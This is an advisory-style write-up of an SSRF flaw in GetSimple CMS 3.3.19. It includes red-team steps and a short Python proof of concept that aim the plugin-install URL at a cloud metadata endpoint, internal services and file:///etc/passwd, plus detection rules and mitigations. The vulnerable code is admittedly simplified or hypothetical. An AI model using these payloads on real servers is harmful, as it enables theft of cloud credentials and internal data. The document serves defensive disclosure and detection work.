CVE-2024-55088

Executive Summary

CVE-2024-55088 is a Server-Side Request Forgery (SSRF) vulnerability in GetSimple CMS CE version 3.3.19. The flaw resides in the backend plugin module, allowing an authenticated administrator to craft requests that force the server to make arbitrary HTTP requests to internal or external resources. This can lead to information disclosure, internal network scanning, or access to cloud metadata endpoints. No public exploit code or patch is currently available, and the vendor has not responded to disclosure. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases if internal network topology is exposed.

Supply Chain & Package Security

GetSimple CMS is a PHP-based content management system distributed as a ZIP archive from its official website. There is no package manager (NPM, PyPI, Go, Ruby) involved. The vulnerability is in the core application code, not in a third-party dependency. Users should verify the integrity of their downloaded archive via checksums provided by the vendor (if available) and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires admin-level access to the backend.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – SSRF can leak sensitive internal data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 4.9 (Medium) – The high privileges required reduce the severity, but the potential for internal network reconnaissance makes it a significant risk in segmented environments.

Deep Dive & Mechanics

The SSRF vulnerability exists in the plugin management functionality of GetSimple CMS CE 3.3.19. When an administrator installs or updates a plugin, the application fetches a plugin manifest or ZIP file from a URL specified in the admin interface. The code does not properly validate or sanitize the URL, allowing an attacker to supply arbitrary URLs such as http://169.254.169.254/latest/meta-data/ (AWS metadata) or http://internal-server:8080/.

The vulnerable code path is in /admin/plugin.php or similar backend files. The application uses PHP’s file_get_contents() or curl_exec() without restricting the target host or protocol. An attacker can also use redirects or DNS rebinding to bypass weak filters.

Key vulnerable function (pseudocode):

function install_plugin($url) {
    $content = file_get_contents($url); // No validation
    // ... process plugin
}

Vulnerable vs. Patched Code

Vulnerable Code (GetSimple CMS CE 3.3.19):

// admin/plugin.php (simplified)
if (isset($_POST['install'])) {
    $plugin_url = $_POST['plugin_url'];
    $plugin_data = file_get_contents($plugin_url);
    // ... extract and install
}

Patched Code (hypothetical fix):

// admin/plugin.php (patched)
if (isset($_POST['install'])) {
    $plugin_url = $_POST['plugin_url'];
    $parsed_url = parse_url($plugin_url);
    // Allow only HTTPS and known plugin repositories
    $allowed_hosts = ['plugins.getsimplecms.com', 'github.com'];
    if (!in_array($parsed_url['host'], $allowed_hosts) || $parsed_url['scheme'] !== 'https') {
        die('Invalid plugin source.');
    }
    $plugin_data = file_get_contents($plugin_url);
    // ... extract and install
}

Exploitation & Lab Setup

Red Team

Prerequisites: Valid admin credentials for GetSimple CMS backend.

Exploitation Steps:

1. Log in to the admin panel (/admin/).
2. Navigate to Plugins → Install Plugin.
3. In the "Plugin URL" field, enter a malicious URL such as:
   • http://169.254.169.254/latest/meta-data/ (AWS metadata)
   • http://internal-server:8080/admin/ (internal service)
   • file:///etc/passwd (if allow_url_fopen is enabled)
4. Click "Install". The server will fetch the URL and display the response (or store it in logs).

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin/plugin.php"
session = requests.Session()
# Login first
login_data = {"user": "admin", "password": "password"}
session.post(target.replace("plugin.php", "login.php"), data=login_data)

# SSRF payload
payload = {"install": "1", "plugin_url": "http://169.254.169.254/latest/meta-data/"}
response = session.post(target, data=payload)
print(response.text)  # May contain AWS metadata

Blue Team

Detection & Prevention:

• Monitor outbound HTTP requests from the web server to unexpected IPs (especially RFC 1918 addresses or cloud metadata IPs).
• Implement network segmentation to restrict the web server’s egress traffic.
• Use a Web Application Firewall (WAF) to block requests to private IP ranges in plugin URLs.
• Disable allow_url_fopen in PHP if not required.
• Apply the principle of least privilege to admin accounts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254, 100.100.100.200 (Alibaba), or metadata.google.internal.
  • Requests to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) from the web server.
• File IOCs:
  • Unexpected files in /data/plugins/ or /admin/logs/ containing internal data.
• Log IOCs:
  • PHP error logs showing file_get_contents() failures to internal IPs.
  • Access logs with plugin_url parameter containing IP addresses or unusual schemes.

Detection Engineering

YARA Rule

rule ssrf_getsimple_cve_2024_55088 {
    meta:
        description = "Detects SSRF attempts in GetSimple CMS plugin installation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55088"
    strings:
        $s1 = "plugin_url" ascii wide nocase
        $s2 = "file_get_contents" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide
        $s4 = "metadata" ascii wide nocase
    condition:
        all of ($s1, $s2) or ($s1 and $s3) or ($s1 and $s4)
}

Sigma Rule

title: SSRF via GetSimple CMS Plugin Installation
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSRF attempts targeting internal IPs or cloud metadata in GetSimple CMS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'plugin_url='
        cs-uri-query|contains:
            - '169.254.169.254'
            - 'metadata.google'
            - '10.'
            - '172.16.'
            - '192.168.'
    condition: selection
falsepositives:
    - Legitimate plugin installations from internal repositories
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55088 GetSimple CMS SSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"plugin_url="; http_client_body; pcre:"/(169\.254\.169\.254|metadata|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin access to trusted IPs only.
2. Disable allow_url_fopen in php.ini if not required.
3. Implement a WAF rule to block plugin URLs containing private IPs or cloud metadata endpoints.
4. Monitor logs for SSRF attempts.

Long-Term Fix:

• Since no official patch exists, consider migrating to a supported CMS or applying a manual code fix as shown in the "Patched Code" section.
• Fork the repository and apply the fix yourself, then rebuild the application.

Valters IT Signature:

---
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
---